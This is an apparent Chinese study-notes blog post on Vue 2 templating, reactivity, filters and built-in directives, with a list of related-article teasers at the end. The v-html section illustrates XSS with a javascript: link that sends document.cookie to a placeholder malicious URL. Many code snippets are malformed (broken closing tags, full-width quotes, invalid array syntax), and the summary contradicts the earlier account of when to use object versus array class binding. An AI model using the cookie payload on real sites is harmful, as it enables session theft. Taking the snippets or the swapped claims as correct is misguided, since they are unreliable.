Vue2基础-Vue对象进阶介绍1

文章目录

  • 一、绑定样式
    • 绑定class样式
    • 绑定style样式
    • 总结
  • 二、渲染
    • 条件渲染
    • 列表渲染
      • 语法
      • key详解
  • 三、Vue检测数据原理
    • 问题
    • 解决
  • 四、收集表单数据
  • 五、过滤器
    • 定义
    • 语法:
  • 六、内置指令
    • 回顾
    • v-text指令:
    • v-html
      • cookie
      • 问题
    • v-clock指令
    • v-once
    • v-pre

一、绑定样式

绑定class样式

<!-- 绑定class样式--字符串写法，适用于:样式的类名不确定，需要动态指定-->
<div class="basic" :class="mood" @click="changeMood">{ {name}}</div>

<!-- 绑定class样式--数组写法，适用于:要绑定的样式个数不确定、名字也不确定-->
<div class="basic" :class="classArr" >{ {name}}</div>
等价于如下，注意数组内加引号，不然会当成Vue的变量处理
<div class="basic" :class="['已有样式1','已有样式2','已有样式3']">{ {name}}</div>

<!-- 绑定class样式--对象写法，适用于:要绑定的样式个数确定、名字也确定，但要动态决定用不用-->
<div class= "basic" :class="class0bj">{{name}}</div>
const x = new Vue({
	el:‘#root’   
	data:{
		name:"CSDN",
		mood:‘css中已有的样式’,
		classArr:['已有样式1','已有样式2','已有样式3'],\
		//为true表示可以引用
		classObj:{
			样式1:false,
			样式2:false,
			样式3:true
		}
	}
})

绑定style样式

//对象写法
<div class="basic" :style=" styleObj">{ {name}}</div>

//可指定多个
div class="basic" :style=”[sty1eObj1, sty1eObj2]">{ {name}}</div>

//数组写法
<div class= "basic" :style=" styleArr" >{{name}}</div>
const x = new Vue({
	el:‘#root’   
	data:{
		name:"CSDN",
		styleObj:{
			//font-size必须改成驼峰命名
			fontSize:'40px'
		}
		styleArr:[
			styleObj1:{
			},
			styleObj2:{
			}
			
		]
	}
})

总结

  1. class样式
    写法:class=“xxx” xxx可以是字符串、对象、数组。
    字符串写法适用于:类名不确定，要动态获取。
    对象写法适用于:要绑定多个样式，个数不确定，名字也不确定。
    数组写法适用于:要绑定多个样式，个数确定，名字也确定，但不确定用不用。
  2. style样式
    :style=“{fontSize: xxx}” 其中xxx是动态值。
    :style="[a,b]"其中a、b是样式对象。

二、渲染

条件渲染

  1. v-if
    写法:
    (1).v-if=“表达式”
    (2).v-else-if="表达式”
    (3).v-else="表达式”
    适用于:切换频率较低的场景。
    特点:不展示的DOM元素直接被移除，不是被隐藏。
    注意: v-if可以和:v-else-if、 v-else 起使用， 但要求结构不能被“打断”。
<div v-if="n === 1" >Angular</ div>
<div v-else-if="n === 2">React</div>
<div v-else-if="n === 3" >Vue< , div> 
div v-else>哈哈</div>
  1. V-show
    写法: v-show=" 表达式" 表达式必须是布尔值，为false表示隐藏
    适用于:切换频率较高的场景。
    特点:不展示的DOM元素未被移除，仅仅是使用样式隐藏掉
  2. 备注:使用v-if的时，元素可能无法获取到，而使用v- show 定可以获取到。
  3. 当很多容器都需要一个判断条件时，可以用一个盒子封装，但是用现有盒子封装都会破坏结构，因此需要用到特殊的
<template v-if="n === 1">
	<h2>你好</h2>
	<h2>CSDN< /h2> 
	<h2>北京< /h2>
</template>

temple不会在页面中渲染，不会影响结构。这个只能搭配v-if

列表渲染

语法

v-for指令:

  1. 用于展示列表数据
  2. 语法:
v-for="(item, index) in xxx" :key="yyy" 
//index为索引值
//key让每个容器都有唯一的标识，尽量要写。可以为索引值，也可以在对象中自己定义
  1. 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
1、遍历数组
<div id="root">
	<h2>人员列表< /h2>
	<ul> 
		<li v-for="(p, index) in persons" :key= "index">
		{{p.name}}-{{p.age}}
		</1i> 
	</ul> 
</div>

2、遍历对象
<div id="root">
	<h2>汽车< /h2>
	<ul> 
		<li v-for="(p, index) in car" :key= "index">
		{{index}}-{{p}}      //此时p是car中每个属性的值
		</1i> 
	</ul> 
</div>

3、遍历字符串
<div id="root">
	<h2>汽车< /h2>
	<ul> 
		<li v-for="(p, index) in str" :key= "index">
		{{index}}-{{p}}      //此时p是字符串中每个字符
		</1i> 
	</ul> 
</div>

4、遍历指定次数
<div id="root">
	<h2>汽车< /h2>
	<ul> 
		<li v-for="(p, index) in 10" :key= "index">
		{{index}}-{{p}}      //此时p是从1开始增大的次数
		</1i> 
	</ul> 
</div>

const x = new Vue({
	el:‘#root’   
	data:{
		persons:[
			{id: '001' ,name:'张三,age:18},
			{id: '002 ' ,name:'李四' ,age:19},
			{id: '003' ,name:'王五' ,age :20}
		]，
		car :{
			name:'奥迪A8'
			price;'70万'，
			color:'黑色'
		},
		str:'hello'
	}
})

key详解

如果不写key，index会自动把索引值变成key
在这里插入图片描述
在这里插入图片描述
总结key的作用

  1. 虚拟DOM中key的作用:
    kev是虚拟DOM对象的标识，当状态中的数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】 ,
    随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下:
  2. 对比规则:
    (1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
    ①.若虚拟DOM中内容没变， 直接使用之前的真实DOM !
    ②.若虚拟DOM中内容变了，则生成新的真实DOM，随后替换掉页面中之前的真实DOM。
    (2).旧虚拟DOM中未找到与新虚拟DOM相同的key
    创建新的真实DOM，随后渲染到到页面。
  3. 用index作 为key可能会引发的问题:
    1.若对数据进行:逆序添加、逆序删除等破坏顺序操作:
    会产生没 有必要的真实DOM更新==> 界面效果没问题，但效率低。
    2.如果结构中还包含输入类的DOM:会产生错误DOM更新==> 界面有问题。
  4. 开发中如何选择key?:
    1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯-值。
    2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，
    使用index作为key是没有问题的。

三、Vue检测数据原理

问题

如下，此时调用updateMei()方法，this.person里面的值确实改变了，但是Vue检测不到，因此不会在页面中体现出来。还有data中没有的属性，若是直接vm.data.想要新增属性=值，也是无法渲染的。
本质上Vue是通过get和data检测数据，直接赋值是不行的（没有对象set葛get方法）

const x = new Vue({
	el:‘#root’   
	data:{
		persons:[
			{id: '001' ,name:'张三',age:18},
			{id: '002 ' ,name:'李四' ,age:19},
			{id: '003' ,name:'王五' ,age :20}
		]
	},
	method:{
		updateMei(){
			this.person[0]={id: '006' ,name:'赵六',age:38},
		}
	}
})

解决

  1. vue会监视data中所有层次的数据。（对象里面的对象和属性也会监视）
    但是数组内部的值，比如arr=[‘值1’,‘值2’.‘值3’] 这些值只是单纯的值，没有get和set，不会被单独检测
  2. 如何监测对象中的数据?
    通过setter实现监视，且要在new Vue时就传入要监测的数据。
    (1).对象中后追加的属性，Vue默认不做响应式处理
    (2).如需给后添加的属性做响应式，请使用如下API:
Vue. set (target, propertyName/ index, value) 或
Vm.\$set(target, propertyName/ index, value )
  1. 如何监测数组中的数据?
    通过包裹数组更新元素的方法实现，本质就是做了两件事:
    (1).调用原生对应的方法对数组进行更新。
    (2).重新解析模板，进而更新页面。
  2. 在Vue修改数组中的某个元素一定要用如下方法:(在Vue中这些方法和普通数组的这些方法不一样，进行了一些修改，增加重新解析渲染的环节)
    1.使用这些变更方法API:push()、pop()、 shift()、 unshift()、 splice()、 sort()、 reverse()
    变更方法，顾名思义，会变更调用了这些方法的原始数组。相比之下，也有非变更方法，例如
    filter()，concat() 和slice() 。它们不会变更原始数组，而总是返回一个新数组。当使用
    非变更方法时，可以用新数组替换旧数组:
    2.Vue.set()或vm.$set( )
    特别注意: Vue.set() 和vm.$set() 不能给vm或vm的根数据对象（比如vm._data）添加属性! ! !

四、收集表单数据

  1. 若: <input type=“text”/>, 则v-model收 集的是value值，用户输入的就是value值。
  2. 若: <input type=“radio”/>, 则v -model收集的是value值，且要给标签配置value值。
    若: <input type=" checkbox"/>
    1.没有配置input的value属性，那么收集的就是checked (勾选or未勾选，是布尔值)
    2.配置input的value属性:
    (1)v-mode1的初始值是非数组，那么收集的就是checked(勾选or未勾选，是布尔值)
    (2)v - mode1的初始值是数组，那么收集的的就是value组成的数组
    备注: v-model的 三个修饰符:
    lazy:失去焦点再收集数据
    number:输入字符串转为有效的数字
    trim:输入首尾空格过滤

五、过滤器

定义

对要显示的数据进行特定格式化后再显示(适用于些简单逻辑的处理)。

语法:

  1. 注册过滤器:
1、全局过滤器：
	Vue.filter( name ,callback)
2、局部过滤器
	new Vue{
		filters:{
			name(){
			},
			name:function(){
				
			}
		}
	}
  1. 使用过滤器: {{ xxx| 过滤器名}} 或v-bind:属性= "xxx| 过滤器名”
    备注:
    1、过滤器也可以接收额外参数:过滤器名（参数）
    接收的时候第一个参数还是|前面的xxx，第二个开始才是参数
    2、多个过滤器也可以串联：xxx| 过滤器名1|过滤器名2
    3、并没有改变原本的数据，是产生新的对应的数据

六、内置指令

回顾

我们学过的指令:
v-bind：单向绑定解析表达式，可简写为:xXx
v-model：双向数据绑定
v-for：遍历数组/对象/字符串
v-on:绑定事件监听，可简写为@
v-if:条件渲染(动态控制节点是否存存在)
v-else:条件渲染(动态控制节点是否存存在)
v- show:条件渲染(动态控制节点是否展示)

v-text指令:

1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别: v-text会 替换掉节点中的内容，{{xx}}则不会。
3.标签不会渲染，直接输出

v-html

与v-text不同的地方就是输入的文本若有标签则会渲染。这样会导致安全问题，容易导致xxs攻击。（所有渲染标签到页面的指令都会有安全问题）

cookie

在这里插入图片描述
第一次访若成功，所需要访问的服务器就会放回一些key:vaule值，这些值就是cookie，它是你账户的唯一标识，下次访问时就不需要再次根据你用户密码进行连接，只要将cookie传给它就可以识别你的账户。cookie服务器可以一次全部返还给你，也可以在n次访问中慢慢给你。

你知道访问了这个服务器登录账号，cookie就会在你的浏览器中本地存在几天，以后再次浏览就可以直接登录（几天免登录），但是其他浏览器没有cookie就无法免登录。当然，如果你将所登录浏览器的cookie传给另外的浏览器，那自然也可以登录。
在这里插入图片描述

只要有了cookie，你的账户就可以访问，cookie可以通过F12中application中的Cookies看到。
其中有个属性叫做HttpOnly，表示只有通过httpOnly才能访问cookie，比较安全

问题

如果通过v-html中输入一些诱惑性文字，就可以拿到你的cookie从而登录你的账号导致安全问题。

<div v-html="str"></div>
其中在vue中，str:'<a href=javascript:location.href="破坏网站的网址?"+document.cookie>点此跳转</a>'

通过上述操作，他就可以在他的网站上通过网址的方式拿到你的cookie从而登录你的账号。当然，通过此方法只能获取httpOnly为false的cookie，不过还是不安全。

v-clock指令

  1. 本质是一一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
    用来解决访问外部js时加载过慢导致出现渲染不全的问题，因此在js加载完毕（Vue实例创建完毕）后就消失。
  2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
//css中
[v-cloak]{
	display:none;
}
<div v-cloak v-html="str"></div>

上述代码，在没加载完毕时v-cloak存在，此时渲染不全的页面不会显示，当加载完毕后v-cloak消失，此时渲染完全，页面再显示

v-once

  1. v-once所在节点在初次动态渲染后，就视为静态内容了。
  2. 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
    适用于展示一些初始化的数据，但是后面数据改变的情况

v-pre

  1. 跳过其所在节点的编译过程
  2. 可利用其跳过：没有使用指令语法，没有使用插值语法的节点，此时节点不需要编译js代码，会加快编译，提高性能

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/166785.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

【漏洞复现】浙大恩特CRM大客户系统sql注入0day(三)

【漏洞复现】浙大恩特CRM大客户系统sql注入0day(三)

漏洞描述 杭州恩软信息技术有限公司（浙大恩特）提供外贸管理软件、外贸客户管理软件等外贸软件，是一家专注于外贸客户资源管理及订单管理产品及服务的综合性公司。 浙大恩特客户资源管理系统中的T0140_editAction.entweb接口存在SQL注入漏洞，攻击者可通过此漏洞获取企业数…
阅读更多...
OpenAI前CEO萨姆·阿尔特曼可能重返CEO职位；用LoRA微调LLM的实用技巧

OpenAI前CEO萨姆·阿尔特曼可能重返CEO职位；用LoRA微调LLM的实用技巧

&#x1f989; AI新闻 &#x1f680; OpenAI前CEO萨姆阿尔特曼可能重返CEO职位 摘要&#xff1a;据报道&#xff0c;OpenAI前CEO萨姆阿尔特曼有望重新担任CEO职位&#xff0c;并对公司董事会进行重大改变。微软等投资人正努力恢复阿尔特曼的职位&#xff0c;尽管董事会仍然是…
阅读更多...
振弦式渗压计的安装方式及注意事项

振弦式渗压计的安装方式及注意事项

振弦式渗压计的安装方式及注意事项 振弦式渗压计是一种常用的测量土壤水位的仪器&#xff0c;可以用于监测地下水位、土壤含水量、岩层渗透系数等参数。其原理是依靠振弦的共振频率变化来测量介质中的压力变化。 安装方式&#xff1a; 1.适当选取安装点&#xff1a;振弦式渗压…
阅读更多...
网络安全涉及哪些方面？

网络安全涉及哪些方面？

1.系统安全&#xff1a;运行系统安全即保证信息处理和传输系统的安全。它侧重于保证系统正常运行&#xff0c;避免因为系统的损坏而对系统存储、处理和传输的消息造成破坏和损失&#xff0c;避免由于电磁泄露&#xff0c;产生信息泄露&#xff0c;干扰他人或受他人干扰。 2. 网…
阅读更多...
安全测试工具分为 SAST、DAST和IAST 您知道吗？

安全测试工具分为 SAST、DAST和IAST 您知道吗？

相信刚刚步入安全测试领域的同学都会发现&#xff0c;安全测试领域工具甚多&#xff0c;不知如何选择&#xff01;其实安全测试工具大致分为三类&#xff1a;SAST、DAST和IAST。本文就带大家快速的了解这三者的本质区别&#xff01; SAST &#xff08;Static Application Secu…
阅读更多...
Python懒羊羊

Python懒羊羊

目录 系列文章 写在前面 绘图基础 懒羊羊 写在后面 系列文章 序号文章目录直达链接表白系列1浪漫520表白代码https://want595.blog.csdn.net/article/details/1306668812满屏表白代码https://want595.blog.csdn.net/article/details/1297945183跳动的爱心https://want595…
阅读更多...
Redis:Java客户端

Redis:Java客户端

前言 "在当今大数据和高并发的应用场景下&#xff0c;对于数据缓存和高效访问的需求日益增长。而Redis作为一款高性能的内存数据库&#xff0c;以其快速的读写能力和丰富的数据结构成为众多应用的首选。与此同时&#xff0c;Java作为广泛应用于企业级开发的编程语言&…
阅读更多...
GPU Microarch 学习笔记【3】Tensor Core

GPU Microarch 学习笔记【3】Tensor Core

目录 1. 指令与架构 2. Load 3. 计算MMA 4. Set, Step 与thread group 5. OCTET 6. Tensor Core微架构 7. Final Nvidia自从Volta/Turing&#xff08;2018&#xff09;架构开始&#xff0c;在stream multi processor中加入了tensor core&#xff0c;用于加速矩阵计算。如…
阅读更多...
PLC信号发生器(余弦信号)

PLC信号发生器(余弦信号)

SMART PLC正弦信号发生器算法公式和梯形图代码请查看下面文章链接： PLC信号发生器(梯形图)-CSDN博客文章浏览阅读393次。PLC信号发生器(SCL语言)的详细介绍请参看下面文章PLC信号发生器(博途SCL)_RXXW_Dor的博客-CSDN博客信号发生器的应用请参看下面的博客文章，在演示滤波器…
阅读更多...
STM32中的加速度计驱动程序与姿态控制实现

STM32中的加速度计驱动程序与姿态控制实现

加速度计广泛应用于姿态控制、运动跟踪和导航等领域。本文将介绍如何在STM32微控制器中实现加速度计的驱动程序&#xff0c;并利用测得的加速度数据实现姿态控制功能。 一、STM32与加速度计概述 1. STM32微控制器 STM32是STMicroelectronics推出的一系列32位微控制器&#…
阅读更多...
Python爬虫技术系列-03/4flask结合requests测试静态页面和动态页面抓取

Python爬虫技术系列-03/4flask结合requests测试静态页面和动态页面抓取

python构建web服务 flask内容参考:Flask框架入门教程&#xff08;非常详细&#xff09; flask安装与运行测试 安装flask pip install flask创建一个webapp.py文件&#xff0c;内容如下 from flask import Flask# 用当前脚本名称实例化Flask对象&#xff0c;方便flask从该脚…
阅读更多...
Linux常用命令——bunzip2命令

Linux常用命令——bunzip2命令

在线Linux命令查询工具 bunzip2 创一个bz2文件压缩包 补充说明 bunzip2命令解压缩由bzip2指令创建的”.bz2"压缩包。对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令&#xff0c;只能对文件进行压缩。对于目录只能压缩目录下的所有文件&#xff0c;压缩完成…
阅读更多...
信息安全和网络空间安全选哪个？

信息安全和网络空间安全选哪个？

网络空间安全和信息安全这2个专业都是计算机专业&#xff0c;而且是最适合走网络安全方向的2个热门专业&#xff0c;那么它们有什么不一样&#xff1f;又该如何选择&#xff1f;过来人告诉你答案。 一、相同之处 1. 目标相同 网络空间安全专业和信息安全专业都致力于保护计算…
阅读更多...
SpringBoot3.x最简集成SpringDoc-OpenApi

SpringBoot3.x最简集成SpringDoc-OpenApi

为什么使用SpringDoc 在SpringBoot低版本时一般使用Swagger扫描接口生成Json格式的在线文档&#xff0c;然后通过swagger-ui将Json格式的文档以页面形式展示文档。可惜遗憾的是swagger更新到3.0.0版本(springfox)后不更新了。 SpringBoot3.x以后需要的JDK版本最低为Java17&…
阅读更多...
Go并发编程学习-class1

Go并发编程学习-class1

class1. Mutex 解决资源并发访问 基础概念 临界区概念&#xff1a;一个被共享的资源&#xff0c;可以被并发访问。通过Mutex互斥锁&#xff0c;可以限定临界区只能由一个线程获取。 根据不同情况&#xff0c;不同适用场景 ●共享资源。并发地读写共享资源&#xff0c;会出现…
阅读更多...
X12学习手册

X12学习手册

EDI术语中的X12是指ANSI X12 报文标准&#xff08;EDI Document Standard&#xff09;&#xff0c;于 1979 年发布&#xff0c;由认证标准委员会维护&#xff0c;在过去的几十年中得到扩展&#xff0c;以满足全球业务流程的要求&#xff0c;包括汽车、物流、零售、医药、金融、…
阅读更多...
多域名SSL证书的优势

多域名SSL证书的优势

当今数字化时代&#xff0c;网站拥有一个或多个域名是非常常见的。多域名SSL证书在这样的情境下变得至关重要。它为拥有多个域名的网站提供了全面的安全性和灵活性&#xff0c;为其提供了诸多优势。 多域名SSL证书是一种单个证书&#xff0c;可以为一个域名、多个域名&#xff…
阅读更多...
SVG图片在HTML页面中的四种加载方法

SVG图片在HTML页面中的四种加载方法

HTML专栏是汇集了一些HTML常常被遗忘的知识&#xff0c;这里算是温故而知新&#xff0c;往往这些零碎的知识点&#xff0c;在你开发中能起到炸惊效果。我们每个人都没有过目不忘&#xff0c;过久不忘的本事&#xff0c;就让这一点点知识慢慢渗透你的脑海。 本专栏的风格是力求简…
阅读更多...
如何做到低风险的部署与发布？（下）丨IDCF

如何做到低风险的部署与发布？（下）丨IDCF

灰度发布 灰度发布是在金丝雀发布基础上进行延伸&#xff0c;不是将发布分成两批&#xff0c;而是将发布分成不同的阶段/批次发布&#xff0c;每个阶段/批次的用户数量逐级增加。如果新版本在当前阶段没有发现问题&#xff0c;就再扩展用户数量进入下一个阶段&#xff0c;直至扩…
阅读更多...
everything的高效使用方法

everything的高效使用方法

目录 前言1 everything的简单介绍2 常用搜索3 语法搜索4 正则表达式搜索5 服务器功能 前言 本文介绍everything软件的高效使用方法&#xff0c;everything是一款在系统中快速搜索文件的软件&#xff0c;能够帮助人们快速定位需要查找的文件。首先介绍everything软件的作用和使…
阅读更多...
最新文章

Copyright @ 2022~2023